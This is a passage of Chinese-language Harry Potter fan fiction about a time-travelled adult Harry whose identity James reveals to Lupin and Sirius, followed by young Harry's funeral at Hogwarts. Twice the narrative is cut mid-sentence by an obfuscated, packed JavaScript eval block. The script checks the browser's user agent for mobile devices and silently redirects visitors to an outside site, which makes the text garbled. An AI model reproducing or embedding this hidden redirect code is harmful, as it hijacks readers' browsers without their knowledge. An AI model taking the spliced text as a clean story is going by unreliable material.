卢平盯着他看了好一会儿,眼睛微微眯起,似乎在寻找这些话背后的深意,“他是个好孩子,聪明、体贴,和其他孩子很不一样。”他说着,表情渐渐柔和下来,“相比其他孩子,他确实早熟一些。为什么突然问这个?” “哈利也喜欢他,对吧?”詹姆斯目光闪动了一下,他的语气像是试探,更像是游移在某种不确定的情绪边缘,“他们一向关系很好。” 卢平点点头,虽然仍不明白詹姆斯的用意,“和这孩子相处总会有种说不清的亲切感。” “亲切感。”詹姆斯重复着这个词,嘴角浮现出一丝苦涩的笑意。他停顿片刻,继续问道:“你们知道泰迪手里有一张地图吗?” 这句话虽然声音很轻,却清晰地传进了卢平和小天狼星的耳朵。 小天狼星早就对詹姆斯突然转移话题感到不耐烦,他本想脱口而出“你的脑子是被巨怪踩了吗”,但想起卢平的话,他还是按捺住火气,“尖头叉子,这些事和现在有什么关系?哈利才刚刚......” “有关系。”詹姆斯迅速接过话头,“那是张活点地图。” 卢平和小天狼星齐齐愣住了。 “我们当时用了很多心思制作活点地图,设计那些咒语、暗语……”詹姆斯目光在两人脸上游移,最终停在卢平身上,“你们知道最奇怪的是什么吗?那张地图上标记名字的方式,那些线条,那些瞬间浮现的字迹……它们和我们当年的设计几乎一模一样。” 小天狼星眉角轻动了一下,但最先开口的还是卢平,“也许……”他迟疑片刻,慎重地继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……你说什么?”他的喉结剧烈滚动,声音嘶哑得几乎不像自己的,“泰迪?” 一瞬间,那个总是冲他露出温暖笑容的男孩的脸庞在脑海中闪过,那种说不清的熟悉感、那些莫名的亲近感,突然有了解释,却又令他更加困惑。他死死盯着詹姆斯,想从好友脸上找出一丝开玩笑的痕迹。 小天狼星打断了他的话,皱着眉提高了音量,“终极大笑话吧,是吗,月亮脸?”他边说边烦躁地来回踱步,“一个十二岁的儿子?该死的,你当他是从哪儿蹦出来的,石头缝里吗?”他停下脚步,转身盯住卢平,眼神里带着一种难以置信的审视,“月亮脸,十二年前……该不会真的有什么事是我们不知道的吧?” 卢平张了张嘴,却说不出话来。那些和泰迪相处的片段走马灯般在脑海中闪现。 “我没疯。”詹姆斯语气很坚决。 “好啊,你真的该去圣芒戈看看脑子——”小天狼星嗤笑出声,“你说泰迪是莱姆斯的儿子,那佩弗利尔呢?”他大步走到詹姆斯面前,双手重重撑在扶手椅上,“长得跟你那么像,连老汤姆都能认错。该不会要告诉我,他是你什么失散多年的兄弟吧?” “他是你教子。如果你想知道的话。”詹姆斯冷冷地说,将这个真相甩在空气中。 小天狼星僵在原地,嘴角颤了颤,一脸不可置信。他慢慢抬手指向詹姆斯,胸膛起伏得像一头大口喘息的野狼,咬牙切齿地说道,“詹姆斯,你明明知道,我的教子只有……你以为我会信这种鬼话……要不是你是我最好的兄弟,我现在就把你揍到圣芒戈去!” “你以为我疯了?”詹姆斯显然没有被威胁所震慑,反而低低地笑了一声,那种笑容让人不寒而栗,“你知道我在医疗翼看到了什么吗?” 他停顿一下,目光扫过小天狼星的脸,转向卢平。 “活点地图上有两个‘哈利·波特’。” 小天狼星眉心跳动,脸上浮现出一丝茫然。卢平抬头望向詹姆斯,神色专注,等待他继续说下去。 “当时病房里,一个是我的儿子,另一个是——”詹姆斯喉结微微动了一下,像是在准备什么沉重的话语。他闭了闭眼,手在膝盖上微微颤了一下,然后稳稳地吐出了一个名字—— “哈利·佩弗利尔。” 65. 雪融化之前(下) 詹姆斯说出的真相像一块巨石,压得所有人都喘不过气来。 这是太过荒唐的事,荒唐到连最擅长应对混乱的卢平,都一时无言以对。他下意识瞥向小天狼星,却发现对方的表情已经完全变了。 “你刚才说什么,尖头叉子?”小天狼星猛地从壁炉边转过身,声音里压抑着怒意,可眉眼间的震惊却暴露无遗,“活点地图上……两个哈利·波特?”他喉结滚动了一下,语气突然变得生硬起来,“好吧,我现在就问一句——这合理吗?”他的手在空中胡乱一挥,像是要抓住什么说得通的解释,“你该不会是因为哈利的事……出现幻觉了吧?” 见詹姆斯不答话,小天狼星立刻转向卢平,眼神中带着一丝近乎求助的神色,“月亮脸,你说说看,一张用了这么多年的地图,难道不会出问题吗?就像那些麻瓜的东西一样,时间长了都会坏。故障、咒语紊乱、失效……”他的语速越来越快,语气里带着一种想要说服自己的执拗。 卢平皱着眉,手指在桌面上轻敲了几下。他沉默了片刻,像在脑海中拆解每一种可能:“故障不是没可能。这张地图的符咒本来就复杂,自制的幻影标记层层叠加,时间久了或许会出错。” 他抬起头,目光沉稳地落在詹姆斯身上,“但如果这就是你说的真相,如果佩弗利尔教授真是另一个哈利·波特,我们需要更确切的证据。” “这根本说不通。”小天狼星近乎烦躁地打断道,“佩弗利尔至少有二十多岁了。就算是双胞胎也不可能相差这么多年。” 詹姆斯微微垂着头,手指依然紧扣着扶手。他没有立即回应,而是发出一声极轻的笑。那笑声比任何辩解都更令人不安。 “我也不敢相信。”他抬起头,声音变得格外平静,“所以我去找了邓布利多。” 邓布利多的名字就像一记重锤,让卢平和小天狼星同时绷直了身体。那些否认和质疑在这一刻突然失去了支撑。 小天狼星的表情变了,眉间的愤怒褪去,取而代之的是一种不确定的困惑。“你去见过他?”他紧盯着詹姆斯,“他怎么说?” “哈利·佩弗利尔……”詹姆斯停顿了一下,像是不知该如何说出这个名字,“不,那个哈利·波特,是从未来穿越回来的。带着泰迪一起。” “别开玩笑了。”小天狼星试图笑出来,但声音却在发抖,“未来?你以为这是在写《预言家日报》的三流连载小说吗?月亮脸都不会写这么老套的——” “我也希望这是个玩笑。”詹姆斯用力闭上眼睛,“但邓布利多亲口确认的。他早就知道,从一开始就知道。” 小天狼星僵在原地。他张了张嘴,却说不出话来。他转身狠狠地踱了几步,嘴里低声咕哝着什么,像是在骂人,又像是在跟自己较劲。他的手不自觉地揉着太阳穴,像是要把这些荒谬的信息从脑子里赶出去。 “时间转换器?”小天狼星终于停下脚步,声音依然冷硬,“还是什么违背魔法部法规的实验?” “时间转换器根本做不到这个。”詹姆斯摇头,“邓布利多说这是一种前所未见的时间魔法,就连他也无法完全解释。那个未来和现在完全不同。” “这不是能不能做到的问题!”小天狼星近乎咆哮地反驳,“是谁疯到了这个地步?穿越时间,操控未来?”他突然顿住了,像是意识到了什么,声音里多了一丝难以置信,“等等,你是说佩弗利尔是十几年后的哈利?如果哈利已经……那怎么还会有未来的他?这说不通。” “你以为我知道吗?”詹姆斯的手指死死掐进扶手,几乎要把木头掐碎,“我不在乎什么该死的时间魔法。我只知道,这一切都发生在他出现后。这不可能是巧合。” 壁炉里的火焰剧烈地跳动了一下,如同在回应詹姆斯压抑的怒火。卢平站在一旁,目光落在跳动的火光上,却恍若未见。詹姆斯的话在他脑海中回响:“从未来穿越回来……”这个念头太过震撼,以至于其他所有思绪都被冻结了。 直到小天狼星的声音将他拉回现实:“月亮脸?他说他们是从未来回来的,你来评评理——” “泰迪是我未来的儿子。”卢平的声音很轻,目光依然没有离开火焰,“邓布利多真的这么说?”他注视着自己微微发抖的手指,那些年少时的伤痕,而在另一个时空里,这双手曾经抱过一个孩子——他的孩子。 詹姆斯没有说话,只是点了点头。 卢平不得不扶住椅背才能站稳。“我?一个父亲?” 从他被芬里尔·格雷伯克咬伤的那一刻起,他就给自己划定了界限:没有家庭,没有孩子。作为一个狼人,他从未奢望过家庭。“父亲”这个词和它包含的一切——责任、温暖、希望,都是他不敢触及的梦。可如今,命运却告诉他,在某个未来,他确实拥有过一个家庭。 泰迪的模样在他眼前浮现。那个总是安静地依偎在角落里看书的男孩,在火车站和他拥抱时满头金发闪着阳光的模样。那些专注时微皱的眉头,说话时略显拘谨的神态,甚至是那种若有若无的忧郁——所有的细节像拼图一样慢慢拼合,勾勒出一个他不得不面对的真相。 他感觉胸口涌上一股暖流,却又立刻被恐惧浇灭。那个问题不可避免地浮现出来——泰迪的母亲是谁? “詹姆斯,”他努力让自己的声音不发抖,“泰迪的母亲……你知道是谁吗?” 他的目光始终盯着詹姆斯,生怕错过任何一个细节。詹姆斯的表情有了一瞬间的松动,像是在权衡要不要说出这个名字。 “尼法朵拉·唐克斯。”最终,詹姆斯轻声说。 “什么?”小天狼星猛地转身,声音因为震惊而提高,“唐克斯?安多米达的女儿?”他愣了片刻,突然恍然大悟,“难怪……难怪泰迪会是个易容马格斯。” 卢平觉得腿有些发软。他对那个女孩几乎一无所知,只在傲罗司走廊里远远见过——年轻的女傲罗,飘逸的粉色头发,充满活力的笑容。太年轻了,她看起来是那么年轻,富有生机,怎么会愿意与一个被诅咒的狼人分享人生? 但一个更可怕的想法击中了他。“等等。”他喉咙发紧,“为什么是哈利在照顾泰迪?他的父母……”他艰难地咽了口唾沫,“我们去哪儿了?” 没有人回答,连壁炉里原本轻微的噼啪声似乎也正慢慢弱下去,只余下火焰跳动时的微光。 詹姆斯避开他的目光,只是低声说:“佩弗利尔告诉过我,父母都去世了。” 卢平感到一阵天旋地转。刚刚涌起的那一点微弱希望瞬间被冰冷的现实浇灭。他的孩子,他甚至来不及好好爱他就……这个认知比任何诅咒都更令人痛苦。 “父母……去世了……”他重复着詹姆斯的那句低得几乎听不清的话,语调轻得像呓语,却带着一种直刺人心的颤抖。 “为什么?他们怎么会不在?”他抬起头,注视着詹姆斯的目光多了一分询问的急切,“詹姆斯,哈利说过吗?他说过他们是……怎么……” 卢平的声音哽住了,剩下的话在喉咙里挣扎,无法说出口。詹姆斯的沉默比任何回答都更让人窒息。 小天狼星不知何时已经走到壁炉边,目光落在好友身上。他看着詹姆斯紧抓着扶手的手指,那种几乎要把木头捏碎的力道暴露了他内心的挣扎。每次提到“佩弗利尔”时,詹姆斯眼中闪过的那种刻意的冷漠和疏离,都像一道无声的控诉。 “尖头叉子。”小天狼星开口,声音有些沙哑,“他仍然是哈利。” 詹姆斯的手指微微一颤。“你说什么?” “我看得出来。”小天狼星上前一步,“每次提到他,你都在回避。好像叫他‘佩弗利尔’就能否认他是谁一样。” 詹姆斯的身体明显僵住了。他猛地抬头,两人目光相撞的瞬间,火光在两张相对的脸上投下了不同的影子。 “我的儿子不在了。”他的声音又冷又硬,“我不需要你来提醒我他是谁。” 但那一瞬间的反应反而证实了小天狼星的猜测。“可你在恨他。”这句话脱口而出时,连小天狼星自己都吃了一惊。但他无法停下,“你把所有的痛苦都推到他身上。就因为他来自一个我们都无法改变的未来。” 詹姆斯忽然发出一声短促的冷笑,带着一种愠怒的嘲弄,“我恨他?你疯了吗,小天狼星?” “别装了,詹姆斯。”小天狼星的语气变得更加锋利而直接,“你根本没法装作若无其事。”他停了一下,然后重重补上了一句,“你在心底里觉得,是那个二十几岁的哈利害死了你的儿子。” 这一次,詹姆斯终于忍不住了。 “是又怎么样!”詹姆斯猛地站起来,声音里压抑的愤怒终于爆发,“他出现在这里,带着那些……那些我们本不该知道的未来。现在哈利就那样走了,他才十二岁,什么都不知道……” “詹姆斯!”卢平想要阻止,却根本无法插入这失控的情绪。 “难道这就是你眼中的他?”小天狼星的声音也提高了,“一个带来厄运的陌生人?可他也是哈利啊,尖头叉子,他也是你的儿子。” “他不是。”詹姆斯的声音低沉而冰冷,“我的儿子刚刚离开了我们。至于他——”他停顿了一下,似乎在强迫自己说出那个名字,“那个未来的‘佩弗利尔’,根本不属于这里。” 他转向小天狼星,“而你,小天狼星,似乎对那个‘未来来客’格外关心。你为什么不干脆去找你的新教子,让他告诉你更多‘有趣的未来’?我看你已经开始把他当成你的哈利了。” 这句话像一把利刃,准确无误地扎进小天狼星的心脏。 “新教子?”他几乎是吼了出来,“他们都是哈利!都是你和莉莉的儿子!” 他死死地盯着詹姆斯,痛苦在眼底翻涌。最终,他缓缓开口,声音低哑,却带着沉重的力量,“你以为你是唯一在乎哈利的人吗?他是我教子,我的家人,他离开了难道我不心痛?可是,另一个哈利——那个来自未来的孩子,他又做错了什么……” 詹姆斯冷笑一声,声音低而恶狠狠,“你又知道什么?” “我确实什么都不知道!”小天狼星猛地挥手,像要把胸腔中翻腾的怒火甩出去,“但我看到了……你知道他经历了什么吗?死了父母,被送到那些见鬼的麻瓜家里……那群人对他的态度简直糟透了,他连自己是个巫师都不知道……” 他说到这里,突然顿住了,像是被自己的话吓到。但那些突如其来的记忆碎片已经止不住地涌出:“我记得……我对他说我是他的教父,是你和莉莉希望的。我说如果他想要一个不同的家……” 他的声音开始颤抖,那些记忆碎片猝不及防地翻涌出来,重击着他的神经。那双眼睛,绿色的,闪着一种带着期盼又小心翼翼的光芒,仿佛穿透了漫长的黑暗,一瞬间击中了他的灵魂。 “梅林啊,他说这话时的眼神……”小天狼星低声喃喃,完全沉浸在回忆里,“他问我,‘你是说……和你一起住?离开德思礼家?’——那时候,他就像个真正的孩子一样……” 三个人都愣住了。詹姆斯的脸色变得比雪还白:“小天狼星,你到底在说什么?你看到了什么?” “那些梦……”小天狼星如梦初醒,声音里的愤怒已经完全被困惑和悲伤取代,“我一直以为只是梦。阿兹卡班……十二年……黑暗、寒冷……那个念头,只有那个念头支撑着我活下去——哈利还活着,我要保护他……可我们抛下了一岁的哈利……” “不!那不是我们!那个时空的事与我无关!”詹姆斯厉声打断他,近乎歇斯底里,“我从没有抛下过我的儿子!” “当然不是你。你只是在抛弃了现在的他。”小天狼星冷笑了一声,仿佛那句话刺到了他内心的某个更深的痛点,“尖头叉子,你总是这样,只要不是你的责任,你就可以把它们撇清,对吗?你失去了哈利没错——可另一个哈利,他从未拥有过你。你现在恨他,只是因为你不敢面对自己的无能为力!” “够了!”詹姆斯猛地站起身,扶手椅随着他剧烈的动作向后滑去。他的脸因为愤怒而扭曲,声音里带着难以抑制的颤抖,“住口,小天狼星!你凭什么——”他的手因过于用力而爆出青筋,“就凭那些荒唐的梦,你就敢告诉我该原谅那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156403|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个毁了一切的人?” “没有人说这一切是合理的,詹姆斯。”小天狼星的声音突然沉了下来,带着一种深深的痛楚,“我们都失去了哈利。可是你现在把所有痛苦都推到那个孩子头上,不是因为他做错了什么,不是因为什么证据,不是因为你想过这些到底值不值得恨……而只是因为你需要恨,来填补这场失去!” 这句话像一道闪电劈开了詹姆斯的防线。他浑身一震,像是突然被抽走了所有力气,踉跄着后退了一步。他张了张嘴,却发现自己嗓子里发出的只是几声浑哑的喘息。 “够了!”卢平终于开口。他已经从最初的震惊中恢复过来,尽管胸口还在因为泰迪的事隐隐作痛,但此刻他必须保持理智。“詹姆斯,你不能这样把错都推到……佩弗利尔身上。他来这里快两年了,如果他真的想伤害我们的哈利,为什么要等到现在?” “而且,”他深吸一口气,声音平稳了些,“你和他接触过,我们都和他接触过,我不相信你没有意识到——仔细想想他这两年的表现。他其实一直在刻意保持距离,从未想过要相认。这难道不能说明什么吗?想要接近他们的……一直是我们。” 詹姆斯站在原地,眼神近乎茫然,身形微微晃动。他慢慢转身,沉默地跌坐回扶手椅里。小天狼星看着好友这副模样,之前的愤怒也渐渐平息了。那些莫名涌现的记忆像是一把双刃剑,让他既为未来的哈利感到心痛,又为逝去的小哈利感到悲伤。 “詹姆斯,未来的哈利没有试图跟我们多接触,这说明他并不想改变任何事。”卢平放缓了语气,“我们不知道他为什么会来,我们也不知道他为什么不告诉你更多事情。但你现在选择将哈利的离去归咎于他,对任何人都没有帮助。” 詹姆斯垂着头,像是被这些话压得喘不过气。他知道卢平说得对,但要在失去儿子的此刻接受这一切…… “而你——”卢平转头,看向小天狼星,语气多了一分严厉,“也别用那些梦替你下任何结论。我不知道你为什么会看到那些……梦境,你也不知道你看到的到底是真是假。这不是普通的记忆,我从没听说过有人能看到另一个时空的画面。但倒是可以用它作为线索——或许你应该去找邓布利多谈谈。” 小天狼星用力揉了揉脸,咬了咬嘴唇,但最终只是低低地说道:“好。我会去找他……如果这不是一场该死的玩笑,那他最好能给我一个说法。” 卢平揉了揉额角,像是终于从自己内部的交战阵地撤离了一部分疲劳。然而,他还是没有完全放松下来,他转向詹姆斯,最后问了一句:“詹姆斯,这些事,你要告诉莉莉吗?” “现在不能告诉她。”詹姆斯突然开口,声音疲惫不堪,“就算……就算你们说得对,就算这不是他的错……但莉莉现在的状况,她经不起这样的打击。” 卢平点点头,借着壁炉的火光打量着詹姆斯疲惫的面容。他能理解好友此刻的感受,一个人怎么可能在失去孩子的痛苦中还保持理智?但他也明白,现在他们必须保持冷静。 “邓布利多怎么说?”卢平轻声问。 “他说会帮我们安排后事。”詹姆斯瘫坐在扶手椅里,声音疲惫得几乎听不清,“在霍格沃茨举行葬礼,至少能让他和同学们好好道别。” 壁炉里的火焰跳动着,将三个人的影子投在墙上,忽明忽暗。 没人说话,直到小天狼星再次开口,声音里带着一丝迟疑,“我们是不是还是该……我是说,也许哈利现在也需要……” “不。”詹姆斯打断他,语气坚决,“至少现在不行,我没有办法……我需要时间。”他抬起头,目光掠过两个好友的面容,“你们也一样。月亮脸,你刚知道了泰迪的事;大脚板,你的那些记忆……”他摇摇头,“我们都需要时间。” “那莉莉……”小天狼星欲言又止。 “我来告诉她。”詹姆斯的声音微微发颤,“就说……就说是某种并发症。波比会帮我们……”他说不下去了。 “我陪你回去。”小天狼星向前一步,“你现在这个样子,一个人不行。” 詹姆斯没有拒绝。他慢慢从扶手椅里站起来,仿佛这个简单的动作就耗尽了全身的力气。 “月亮脸,”詹姆斯在门口停住脚步,背对着他们,“你说得对。也许这真的不是他的错。但我现在……”他的声音很轻,“我做不到。” ====== 卢平久久地站在窗前,看着詹姆斯和小天狼星的身影渐渐融入漫天飞雪中。他望着那片无尽的白色,突然觉得这场雪像极了他们无法看清的未来——厚重,模糊,漫长得没有尽头。 他抽出魔杖点亮了几支蜡烛。温暖的光芒驱散了一些黑暗,却衬得房间更加空荡。他挥动魔杖往壁炉里添了些柴火,火焰重新旺盛起来。 泰迪……他的儿子。这个词在心里滚过,带来一阵难以言喻的酸涩。他在扶手椅里坐下,目光落在书桌上泰迪寄来的那张圣诞贺卡上。男孩工整的字迹透着一种小心翼翼的克制,就像他每次靠近自己时那样。原来那些微妙的熟悉感从来都不是偶然。 一滴泪水无声地落在手中的贺卡上。卢平这才发现视线早已模糊。他抬手擦了擦眼睛,手指轻轻摩挲着卡片边缘。他本来只是觉得那孩子和自己投缘,却没想到…… 但他最终还是没能陪伴那个孩子长大。卢平不愿去想象泰迪是在什么样的情况下失去父母的,这个认知几乎让他喘不过气来。在那个未来里,他终究还是辜负了这个孩子,就像他一直担心的那样。 窗外的雪不知何时已经变小,细碎的雪粒在夜色中飘摇,像极了记忆中不断坠落的碎片。卢平知道,不久之后,詹姆斯将不得不面对一个更艰难的时刻。而在霍格沃茨的某处,那两个来自未来的年轻人正孤独地背负着时光错位的重压,默默守护着那些还无法被揭开的秘密。 卢平闭上眼,长长地呼出一口气,心里清楚,这夜晚才刚刚开始。当雪融化的那天,他们将不得不面对一切——残酷也好、希望也罢,他们都必须找到继续前行的勇气。 而现在,这注定是个漫长的夜晚。 66. 最后的告别 这是一个寂静的清晨。细雪在凌晨时分悄然落下,家养小精灵的身影在雪地间穿梭,白色的花束随着魔杖一束束升起,安静地漂浮在帷幕旁。多比没有回睿瓦纳之塔,而是选择留在霍格沃兹帮忙。它的手指在空中划过,巨大的白色帷幕徐徐展开,笼罩住整片场地,仿佛在大雪覆盖的世界里筑起了一座静谧的小小殿堂。草地上,其他小精灵忙着布置座椅,一排排洁白的椅子在空地上整齐排列。 黑湖边,弗立维教授的魔杖在空中划出一道道清晰的弧线,透明的屏障渐渐成型,隔开凛冽的风雪。汗水从他的额头滑落,但他丝毫没有停下的意思。草药温室里,斯普劳特教授正带着几个高年级学生修剪白色百合花——这些花朵是她专门为今天培育的。 礼堂的长桌已经撤去,麦格教授站在中央,低头对着一卷长长的羊皮纸。她的表情专注,羽毛笔不停在纸上记下流程,每一个环节都整齐清晰。“下午一点,波特一家到达。”她低声念了一句,在对应的位置标注记号。当笔尖停留在“学生入场”几个字上时,停顿了很久。 墨水一点点洇开,浸湿了羊皮纸的边缘。那男孩的身影闪过她脑海——戴着圆眼镜的脸紧张又充满期待,他站在分院帽下的小小身影仿佛就发生在昨天。这么多年了,霍格沃兹从未为学生举办过这样的仪式。手上的羽毛笔顿了顿,才再次划下工整的线条。 礼堂的一角,宾斯教授翻开了一本礼仪典籍,破天荒地参与了这样的场合。书页抖动间翻到一段记载,他用那依旧单调缥缈的声音说道:“古老的传统里,送别者会用银色的魔咒照亮逝者的道路。那些光辉将指引他们,跨过冰冷的夜晚,抵达旅程的尽头。” 城堡外的禁林边缘,海格蹲在雪地里,粗大的手小心翼翼地编织飞天扫帚的枝条。他低头摆弄着那些树枝,指尖因寒冷而发红,“小哈利第一次骑扫帚的时候,”他的胡须上结满雪珠,一边编织一边嘟囔,“飞得那么好,我想他会喜欢这个。”一滴泪水落在枝条上,很快冻成冰晶。 阿不思·邓布利多站在校长室的窗前。薄薄的雪花落在窗棂上,模糊了外面的景象,但他的目光仍然清晰地捕捉到黑湖边帷幕下的一切布置。他轻声说道:“生命总会以它自己的方式延续……但有些代价,太过沉重。” 与此同时,医疗翼里,庞弗雷夫人正在莉莉身前忙碌。银白的轮椅静静漂浮在房间,一层柔软的垫子铺在上面。床头柜上的水晶瓶一字排开,薄荷的清香弥漫在空气中。 “魔药我都准备好了,”庞弗雷夫人挥动魔杖,一道道保护咒语在莉莉周围编织成网,“一个小时,最多一个小时。” 莉莉坐在床边,一只手轻抚着隆起的腹部。“我能行。”她说。 詹姆斯单膝跪在床边,紧紧握着她的手,手背上的青筋微微显现。小天狼星站在一旁,手落在詹姆斯的肩上,沉默地注视着两人。 门口,卢平安静地站着,目光偶尔飘向礼堂方向。那里,他的儿子正和其他格兰芬多的学生在一起。这个念头穿过他的脑海时,他握紧了手中的魔杖,始终没有离开原地。 “时间到了。”庞弗雷夫人收起魔杖,转过身宣布:“我们该出发了。” 詹姆斯扶着莉莉坐进悬浮椅,稳稳地拉好垫子,每一个动作都很轻,都很慢。 ====== 教师们已经在白色帷幕前列队。四个学院的院长站在最前排,斯内普站在麦格教授一侧,黑袍平整如旧,姿态笔直冷峻,和往常并无二致。哈利站在教师队伍最末的位置,略微侧身靠向石柱的阴影。他的目光飘向远处的湖面,试图避开投向他的任何视线。脚步声一旦靠近,他的肩膀就会不由自主地绷紧,藏在长袍下的双手握成拳。可只要有人注意到他,他又会迅速低下头,假装在整理袖口或仔细观察地面。 不远处,魔法部部长康奈利·福吉姗姗来迟。他一身漆黑礼袍,连标志性的绿色圆顶礼帽也换成了素色款式。魔法法律执行司的阿米莉亚·博恩斯女士跟在他身后,手中抱着一大捧纯白的百合。 “啊,阿不思。”福吉大步走向邓布利多,“真是个可怕的事故,太可怕了。霍格沃兹……这样的事情从未发生过。这可是世界上最安全的地方。”他话锋一转,目光掠过教授们的脸,眼中带着一种隐约的审视。 他还想继续说下去,被博恩斯轻轻打断了,“部长,现在不是讨论这些的时候。”她的语气温柔,却透着不容置疑的坚决,“让我们先为这个年轻的生命送行。” “当然、当然。”福吉连忙换上一副更加沉痛的表情。 邓布利多向博恩斯点头致意,随后转向福吉,每个字都带着极清晰的分量,“霍格沃兹从未忘记过对每一位学生的责任,无论他们在哪里,康奈利。” 福吉慢慢退到后排,视线仍然在教师席位间游移。对于一个傲罗司司长的儿子死于“意外”这件事,他显然不认为能就此结束。 突然,整个场地安静了下来。所有人的目光都投向城堡方向——詹姆斯推着银白色轮椅走来,莉莉坐在轮椅上,双手搭在隆起的腹部。一左一右,卢平和小天狼星护在两侧。她的目光始终看着前方,微风拂动着她的一头红发。 詹姆斯的面色苍白,但他硬挺着背,步伐平稳,脸上的表情克制而紧绷。他的身体稍微挡在莉莉身侧,像是要将所有人的视线替她拦下。 教师们纷纷为他们让出一条路。斯内普的目光在莉莉身上停留了一瞬,随即迅速移开,不由自主地寻找另一个身影。麦格教授上前走近,低声说了些什么。莉莉轻轻点头,下一秒,她的嘴角微微抖动了一下,没有来得及说出话,便垂下了目光。人群中传来几声压抑的啜泣。 远处的石柱投下一片阴影,哈利站在那里,将自己远远隔离开。其他教师们陆续上前慰问时,他的身影纹丝不动,仿佛与石柱融为一体。他的手指在长袍袖中收紧又松开,目光始终停留在远处的雪地上。不知是第几次,他的脚步向前迈出一小步,又不着痕迹地退回原处。 哈利的手指无意识地抚过长袍,风吹过时,他略微偏头,目光掠过人群又迅速收回。有那么一瞬,他似乎看到了小天狼星欲言又止的表情。 当詹姆斯从他身边经过时,脚步微不可察地一顿。哈利的呼吸凝滞在胸口,仿佛连时间都随之停止。但那脚步声很快恢复了节奏,在雪地上留下一串清晰的足迹,渐行渐远。詹姆斯始终目视前方,连一个侧身的弧度都没有。哈利喉结轻轻滚动了一下,手指在不知不觉间掐进掌心。 寒风中,远处的莉莉安静地坐在轮椅上,红发被风轻轻拂动。哈利再次低下头,目光落在自己的靴尖,看着融雪在黑色皮革上晕开一小片水渍。那抹红色依然在视野边缘飘动,可他怎么也不敢抬头去看。他的肩膀略微向内蜷缩,仿佛被寒风刺痛。 远方,叠叠整齐的学生队伍出现在坡道上,于风雪中向场地移动而来。每一个队伍都长而整齐,手中捧着洁白的花束。格兰芬多为首,每一名成员围着红金围巾,显得格外鲜明,珀西·韦斯莱作为级长走在队伍最前,领着格兰芬多的队伍前行。 双胞胎弗雷德和乔治走在前排,一反往日的轻松与随意。他们低头默默前行,花茎在他们手中被捏得变形。队伍后方,罗恩和赫敏走在一起。赫敏的头深深埋着,格子围巾遮住了大半张脸,手指从围巾下探出时,迅速擦过眼角,动作几乎悄无声息。罗恩则一直垂着头,时不时重重咬住下唇,脚步显得格外拖沓。 泰迪走在他们旁边,目光始终没离开雪地,那头原本明亮的棕发变得黯淡,逐渐染上了沉重的墨色。他肩膀上的西比人偶安静得出奇,一动不动,只是无声地陪伴着。 斯莱特林的队伍在寒风中沉默前行,绿色和银色的围巾在风雪间拂动。德拉科·马尔福走在队伍的中间,面色苍白得几乎与雪融为一体。当经过格兰芬多队伍时,他的目光飞快扫过人群,略微停在泰迪的方向,嘴唇微动,最终什么也没说,只是转开了头,脚步稍稍慢了半拍。 紧接着是拉文克劳的学生们。蓝白围巾和手中的花束组成一条整齐的线,每个面孔都显得安静而克制,唯有一名金发飘散的小女孩稍显格格不入。她的金发在寒风中轻轻飞扬,脚步轻快得令人错愕,仿佛并不属于这场严肃的悼念。卢娜·洛夫古德一边走,一边低声喃喃自语:“他的灵魂大概会化作雪花吧,跟随风飞得很远很远。”听到她话的同学没有回应,将花束抱得更紧。卢娜没有等任何反应,只是继续轻松地迈步,似乎沉浸在一种别人无法触及的平和里。 赫奇帕奇的队伍是最后一个,黄黑相间的围巾在雪中格外醒目。每一个学生手中都高举一支晃动的蜡烛,温暖的微光被透明屏障保护着,摇曳之间似乎点亮了一小片寒冬的白雾。列队最前的塞德里克·迪戈里频频回头检查队伍是否整齐,他的神情镇定,握住蜡烛的手指收得非常紧,每一步都缓慢而稳重。队伍的末尾,科林·克里维紧抱着他的相机,步子几乎陷进雪里。 两个月前魁地奇场上,他一边追着小哈利跑动,一边兴奋地举起相机,喊道:“等你抓住飞贼,我一定把你的照片拍得帅气十足!”那轻松的语气如今在回忆中变得刺骨。他低头看了眼胸口挂着的相机——里面的胶卷永远也不会有那张照片了。 当所有学生在湖边站定,雪势渐沉。大片白色的雪花从天际飘落,透明屏障将它们拦下,静静堆积在边缘。场地渐渐安静下来。邓布利多迈步前行,紫色长袍在寒风中微微扬起,走向场地中央那装饰着金线的水晶台座。福克斯从云间盘旋而下,稳稳落在他的肩膀上,发出一声悠长的鸣叫。 这一声鸣叫划破了沉寂。 “今天,”邓布利多的声音穿过寒风,“我们送别一位年轻的格兰芬多。”他停顿片刻,目光扫过台下的每一张面孔。“也许你们会问,为什么会发生这样的事?为什么是他?” 莉莉没有抬头,她的手抚在腹部,微微收紧。她的肩膀微微向内蜷缩着,詹姆斯一只手轻轻搭在她肩上,嘴唇抿了抿,还是说不出任何安慰的话语。 邓布利多稍稍停顿了一下,让目光在学生队伍中扫过。他没有刻意停留,那道沉稳而有力量的目光却仿佛落在每个人身上一样,“但生命从不以我们想要的方式延续。有些光,虽然短暂,已经足以照亮漫长的一生。我们唯一能做的,就是珍惜它曾经带来的温暖与光辉。” 小天狼星站在人群的后方,手指死死攥住长袍,冰冷的疼痛攀上关节。他闭起了眼,像是在抗拒什么,或许只是试图掩饰。但那绷紧的下颌,依然暴露出一切。 “哈利·波特,”邓布利多说这个名字时停顿了一下,用更有力的语气念了出来,“虽然年轻,却拥有非凡的品格。他热爱飞行,渴望冒险,对朋友忠诚,对生活充满热情。” 在人群之中,泰迪低下了头,不愿让任何人看到他泛红的眼眶。他的视线停留在手中捧着的鲜花上,每一个词都让他想起和小哈利一起冒险、一起笑闹的时光。肩膀上的西比人偶轻轻蹭了蹭他的脖颈,以自己的方式安慰着他。远处,卢平目光无声地落在他身上。 